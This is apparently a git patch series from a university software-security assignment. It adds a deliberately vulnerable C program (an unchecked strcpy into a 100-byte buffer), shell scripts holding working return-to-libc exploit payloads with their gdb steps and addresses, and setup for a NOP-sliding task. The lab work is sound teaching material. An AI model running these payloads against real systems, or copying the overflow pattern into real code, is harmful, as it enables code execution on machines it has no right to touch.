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 literal 0 HcmV?d00001 diff --git a/Assignment 6 - Software Security - Teil 2/ret2libc/ret2libc b/Assignment 6 - Software Security - Teil 2/ret2libc/ret2libc new file mode 100755 index 0000000000000000000000000000000000000000..4ea0e05d660e2efb0e08202c9555dbf8b04f3984 GIT binary patch literal 15640 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 WT?Ofjgk{?-Tmu%f{C!f9O8y7Ts6sga literal 0 HcmV?d00001 diff --git a/Assignment 6 - Software Security - Teil 2/ret2libc/ret2libc.c b/Assignment 6 - Software Security - Teil 2/ret2libc/ret2libc.c new file mode 100644 index 0000000..800118b --- /dev/null +++ b/Assignment 6 - Software Security - Teil 2/ret2libc/ret2libc.c @@ -0,0 +1,23 @@ +#include +#include +#include + +int vuln(char* input) { + char buff[100]; + + strcpy(buff, input); + return 0; +} + +int main(int argc, char *argv[]) +{ + if(argc < 2) + { + printf("Syntax: %s \n", argv[0]); + exit (0); + } + + vuln(argv[1]); + return 0; +} + -- 2.46.0 From 55f05052967612c67626300f11ea0f23d75d285d Mon Sep 17 00:00:00 2001 From: Sascha Tommasone Date: Fri, 14 Jun 2024 16:01:04 +0200 Subject: [PATCH 04/16] [Assignment-6] solution task 8 (return-to-libc) --- .../ret2libc/solution.sh | 31 +++++++++++++++++++ .../ret2libc/solution_grade.sh | 29 +++++++++++++++++ .../ret2libc/t0p_s3cr3t/owned | 1 + 3 files changed, 61 insertions(+) create mode 100755 Assignment 6 - Software Security - Teil 2/ret2libc/solution.sh create mode 100755 Assignment 6 - Software Security - Teil 2/ret2libc/solution_grade.sh create mode 100644 Assignment 6 - Software Security - Teil 2/ret2libc/t0p_s3cr3t/owned diff --git a/Assignment 6 - Software Security - Teil 2/ret2libc/solution.sh b/Assignment 6 - Software Security - Teil 2/ret2libc/solution.sh new file mode 100755 index 0000000..de29aca --- /dev/null +++ b/Assignment 6 - Software Security - Teil 2/ret2libc/solution.sh @@ -0,0 +1,31 @@ +#!/bin/bash + +# sources: https://www.ired.team/offensive-security/code-injection-process-injection/binary-exploitation/return-to-libc-ret2libc + +##### Exploit Creation Steps ##### +################################### + +# Step 1: Locate the offset of the string '/bin/sh' in libc +# Command: strings -a -t x /usr/lib32/libc-2.31.so | grep /bin/sh +# ---> 0x18c363 + +# Step 2: Determine the base address of libc in the ret2libc environment using gdb +# Command: info proc map +# ---> 0xf7dd4000 + +# Step 3: Find the addresses of 'system' and 'exit' functions using gdb +# Commands: +# p system -> 0xf7e15360 +# p exit -> 0xf7e07ec0 +################################### + +############ Exploit ############## +# Fill the buffer with 'A's until the stored EIP is reached +printf "A%.0s" {1..112} + +# Overwrite the stored EIP with the address of 'system' function +# Place the address of 'exit' function as the return address for 'system' +# Provide the argument for 'system' which is the address of the string '/bin/sh' (calculated as base libc + offset) +# All addresses are in little-endian format +printf "\x60\x53\xe1\xf7\xc0\x7e\xe0\xf7\x63\x03\xf6\xf7" +################################### diff --git a/Assignment 6 - Software Security - Teil 2/ret2libc/solution_grade.sh b/Assignment 6 - Software Security - Teil 2/ret2libc/solution_grade.sh new file mode 100755 index 0000000..42badf4 --- /dev/null +++ b/Assignment 6 - Software Security - Teil 2/ret2libc/solution_grade.sh @@ -0,0 +1,29 @@ +#!/bin/bash + +##### Exploit Creation Steps ##### +################################### + +# Step 1: Find the addresses of 'system' and 'exit' functions using gdb +# Commands: +# p system -> 0xf7e15360 +# p exit -> 0xf7e07ec0 + +# Step 2: Export an environment variable to inject our command as a string into the ret2libc executable +# Command: export COMMAND="echo 100 > /home/user/t0p_s3cr3t/owned" + +# Step 3: Find the address of the environment variable string in memory using gdb +# Command: x/s *((char **)environ+16) (17th env. variable) +# Add 8 to the address to skip the 'COMMAND=' part +# -> 0xffffdeda (0xffffdee8 in gdb; different env. vars when executing ./ret2libc directly; found by trial and error) +################################### + +############ Exploit ############## +# Fill the buffer with 'A's until the stored EIP is reached +printf "A%.0s" {1..112} + +# Overwrite the stored EIP with the address of the 'system' function +# Place the address of the 'exit' function as the return address for 'system' +# Provide the argument for 'system', which is the address of the value of the environment variable COMMAND +# All addresses are in little-endian format +printf "\x60\x53\xe1\xf7\xc0\x7e\xe0\xf7\xda\xde\xff\xff" +################################### diff --git a/Assignment 6 - Software Security - Teil 2/ret2libc/t0p_s3cr3t/owned b/Assignment 6 - Software Security - Teil 2/ret2libc/t0p_s3cr3t/owned new file mode 100644 index 0000000..29d6383 --- /dev/null +++ b/Assignment 6 - Software Security - Teil 2/ret2libc/t0p_s3cr3t/owned @@ -0,0 +1 @@ +100 -- 2.46.0 From c609af33297578329884545c3dea05aef6f842d7 Mon Sep 17 00:00:00 2001 From: Sascha Tommasone Date: Fri, 14 Jun 2024 16:39:15 +0200 Subject: [PATCH 05/16] [Assignment-6] setup task 6 (nop sliding) --- .../Bildschirmfoto vom 2024-06-14 16-37-34.png | Bin 0 -> 38906 bytes .../slide_rider/flag | 1 + .../slide_rider/slide_rider | Bin 0 -> 15552 bytes 3 files changed, 1 insertion(+) create mode 100644 Assignment 6 - Software Security - Teil 2/slide_rider/Bildschirmfoto vom 2024-06-14 16-37-34.png create mode 100644 Assignment 6 - Software Security - Teil 2/slide_rider/flag create mode 100755 Assignment 6 - Software Security - Teil 2/slide_rider/slide_rider diff --git a/Assignment 6 - Software Security - Teil 2/slide_rider/Bildschirmfoto vom 2024-06-14 16-37-34.png b/Assignment 6 - Software Security - Teil 2/slide_rider/Bildschirmfoto vom 2024-06-14 16-37-34.png new file mode 100644 index 0000000000000000000000000000000000000000..457dc8a757981483125ccc61f51b56e6722224a5 GIT binary patch literal 38906 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 